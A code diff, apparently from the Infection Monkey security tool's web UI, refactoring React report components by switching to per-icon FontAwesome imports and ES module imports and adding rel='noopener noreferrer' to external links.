import AttackReport from '../AttackReport'; import AttackReport from '../AttackReport';
import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import {FontAwesomeIcon} from '@fortawesome/react-fontawesome';
import {faQuestionCircle} from '@fortawesome/free-solid-svg-icons'; import {faQuestionCircle} from '@fortawesome/free-solid-svg-icons/faQuestionCircle';
const classNames = require('classnames'); import classNames from 'classnames';
class SelectedTechnique extends React.Component { class SelectedTechnique extends React.Component {
@ -37,7 +37,7 @@ class SelectedTechnique extends React.Component {
{this.state.techniques[tech_id].title} {this.state.techniques[tech_id].title}
</span> </span>
<span> <span>
<a href={this.state.techniques[tech_id].link} target='_blank' className={'link-to-technique'}> <a href={this.state.techniques[tech_id].link} rel="noopener noreferrer" target='_blank' className={'link-to-technique'}>
<FontAwesomeIcon icon={faQuestionCircle}/> <FontAwesomeIcon icon={faQuestionCircle}/>
</a> </a>
</span> </span>

View File

@ -1,12 +1,15 @@
import React from 'react'; import React from 'react';
import Collapse from '@kunukn/react-collapse'; import Collapse from '@kunukn/react-collapse';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome' import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'
import { faQuestionCircle, faChevronUp, faChevronDown, faToggleOn } from '@fortawesome/free-solid-svg-icons' import { faQuestionCircle } from '@fortawesome/free-solid-svg-icons/faQuestionCircle'
import { faChevronUp } from '@fortawesome/free-solid-svg-icons/faChevronUp'
import { faChevronDown } from '@fortawesome/free-solid-svg-icons/faChevronDown'
import { faToggleOn } from '@fortawesome/free-solid-svg-icons/faToggleON'
import {Button} from 'react-bootstrap'; import {Button} from 'react-bootstrap';
import AttackReport from '../AttackReport'; import AttackReport from '../AttackReport';
const classNames = require('classnames'); import classNames from 'classnames';
class TechniqueDropdowns extends React.Component{ class TechniqueDropdowns extends React.Component{
@ -40,7 +43,7 @@ class TechniqueDropdowns extends React.Component{
{this.state.techniques[tech_id].title} {this.state.techniques[tech_id].title}
</span> </span>
<span> <span>
<a href={this.state.techniques[tech_id].link} target='_blank' className={'link-to-technique'}> <a href={this.state.techniques[tech_id].link} rel="noopener noreferrer" target='_blank' className={'link-to-technique'}>
<FontAwesomeIcon icon={faQuestionCircle}/> <FontAwesomeIcon icon={faQuestionCircle}/>
</a> </a>
<FontAwesomeIcon icon={this.state.collapseOpen === tech_id ? faChevronDown : faChevronUp}/> <FontAwesomeIcon icon={this.state.collapseOpen === tech_id ? faChevronDown : faChevronUp}/>

View File

@ -2,7 +2,7 @@ import React, {Component} from 'react';
import {Col} from 'react-bootstrap'; import {Col} from 'react-bootstrap';
import * as PropTypes from 'prop-types'; import * as PropTypes from 'prop-types';
let monkeyLogoImage = require('../../../images/monkey-icon.svg'); import monkeyLogoImage from '../../../images/monkey-icon.svg';
export const ReportTypes = { export const ReportTypes = {
zeroTrust: 'Zero Trust', zeroTrust: 'Zero Trust',
@ -29,7 +29,7 @@ export class ReportHeader extends Component {
</div> </div>
</Col> </Col>
<Col xs={4}> <Col xs={4}>
<img src={monkeyLogoImage} <img alt="monkey logo image" src={monkeyLogoImage}
style={{ style={{
float: 'right', float: 'right',
width: '80px' width: '80px'

View File

@ -4,7 +4,7 @@ import {Badge, Button} from 'react-bootstrap';
import * as PropTypes from 'prop-types'; import * as PropTypes from 'prop-types';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import { faList } from '@fortawesome/free-solid-svg-icons'; import { faList } from '@fortawesome/free-solid-svg-icons/faList';
export default class EventsButton extends Component { export default class EventsButton extends Component {
constructor(props) { constructor(props) {

View File

@ -2,8 +2,8 @@ import React, {Component} from 'react';
import {Timeline, TimelineEvent} from 'react-event-timeline'; import {Timeline, TimelineEvent} from 'react-event-timeline';
import * as PropTypes from 'prop-types'; import * as PropTypes from 'prop-types';
let monkeyLocalIcon = require('../../../images/zerotrust/im-alert-machine-icon.svg'); import monkeyLocalIcon from '../../../images/zerotrust/im-alert-machine-icon.svg';
let monkeyNetworkIcon = require('../../../images/zerotrust/im-alert-network-icon.svg'); import monkeyNetworkIcon from '../../../images/zerotrust/im-alert-network-icon.svg';
const eventTypeToIcon = { const eventTypeToIcon = {
'monkey_local': monkeyLocalIcon, 'monkey_local': monkeyLocalIcon,

View File

@ -3,7 +3,7 @@ import {Button} from 'react-bootstrap';
import * as PropTypes from 'prop-types'; import * as PropTypes from 'prop-types';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import { faDownload } from '@fortawesome/free-solid-svg-icons'; import { faDownload } from '@fortawesome/free-solid-svg-icons/faDownload';
export default class ExportEventsButton extends Component { export default class ExportEventsButton extends Component {
render() { render() {

View File

@ -1,7 +1,5 @@
import React, {Component, Fragment} from 'react'; import React, {Component} from 'react';
import PillarLabel from './PillarLabel'; import {ZeroTrustStatuses} from './ZeroTrustPillars';
import EventsButton from './EventsButton';
import ZeroTrustPillars, {ZeroTrustStatuses} from './ZeroTrustPillars';
import {FindingsTable} from './FindingsTable'; import {FindingsTable} from './FindingsTable';

View File

@ -3,7 +3,13 @@ import {statusToLabelType} from './StatusLabel';
import * as PropTypes from 'prop-types'; import * as PropTypes from 'prop-types';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import { faDatabase, faUser, faWifi, faCloud, faLaptop, faEyeSlash, faCogs } from '@fortawesome/free-solid-svg-icons'; import { faDatabase } from '@fortawesome/free-solid-svg-icons/faDatabase';
import { faUser } from '@fortawesome/free-solid-svg-icons/faUser';
import { faWifi } from '@fortawesome/free-solid-svg-icons/faWifi';
import { faCloud } from '@fortawesome/free-solid-svg-icons/faCloud';
import { faLaptop } from '@fortawesome/free-solid-svg-icons/faLaptop';
import { faEyeSlash } from '@fortawesome/free-solid-svg-icons/faEyeSlash';
import { faCogs } from '@fortawesome/free-solid-svg-icons/faCogs';
const pillarToIcon = { const pillarToIcon = {
'Data': faDatabase, 'Data': faDatabase,

View File

@ -5,7 +5,7 @@ import {NavLink} from 'react-router-dom';
import {Panel} from 'react-bootstrap'; import {Panel} from 'react-bootstrap';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import { faChevronDown } from '@fortawesome/free-solid-svg-icons'; import { faChevronDown } from '@fortawesome/free-solid-svg-icons/faChevronDown';
class ZeroTrustReportLegend extends Component { class ZeroTrustReportLegend extends Component {

View File

@ -2,7 +2,10 @@ import React, {Component} from 'react';
import * as PropTypes from 'prop-types'; import * as PropTypes from 'prop-types';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import { faCheck, faExclamationTriangle, faBomb, faQuestion } from '@fortawesome/free-solid-svg-icons'; import { faCheck } from '@fortawesome/free-solid-svg-icons/faCheck';
import { faExclamationTriangle } from '@fortawesome/free-solid-svg-icons/faExclamationTriangle';
import { faBomb } from '@fortawesome/free-solid-svg-icons/faBomb';
import { faQuestion } from '@fortawesome/free-solid-svg-icons/faQuestion';
const statusToIcon = { const statusToIcon = {
'Passed': faCheck, 'Passed': faCheck,

View File

@ -1,7 +1,7 @@
import React from 'react'; import React from 'react';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import { faDownload } from '@fortawesome/free-solid-svg-icons'; import { faDownload } from '@fortawesome/free-solid-svg-icons/faDownload';
class VersionComponent extends React.Component { class VersionComponent extends React.Component {
constructor(props) { constructor(props) {
@ -34,7 +34,7 @@ class VersionComponent extends React.Component {
<div> <div>
<b>Newer version available!</b> <b>Newer version available!</b>
<br/> <br/>
<b><a target="_blank" href={this.state.downloadLink}>Download here <FontAwesomeIcon icon={faDownload}/></a></b> <b><a rel="noopener noreferrer" target="_blank" href={this.state.downloadLink}>Download here <FontAwesomeIcon icon={faDownload}/></a></b>
</div> </div>
: :
undefined undefined

View File

@ -83,7 +83,7 @@ class CheckboxComponent extends React.PureComponent {
type='checkbox' value={this.state.checked} type='checkbox' value={this.state.checked}
name={this.props.name}/> name={this.props.name}/>
<label className='text'>{this.props.children}</label> <label className='text'>{this.props.children}</label>
<div className='ui-btn-ping' onTransitionEnd={this.stopAnimation}></div> <div className='ui-btn-ping' onTransitionEnd={this.stopAnimation}/>
</div> </div>
) )
} }

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 95 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 85 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 156 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 163 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 167 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 153 KiB

Some files were not shown because too many files have changed in this diff Show More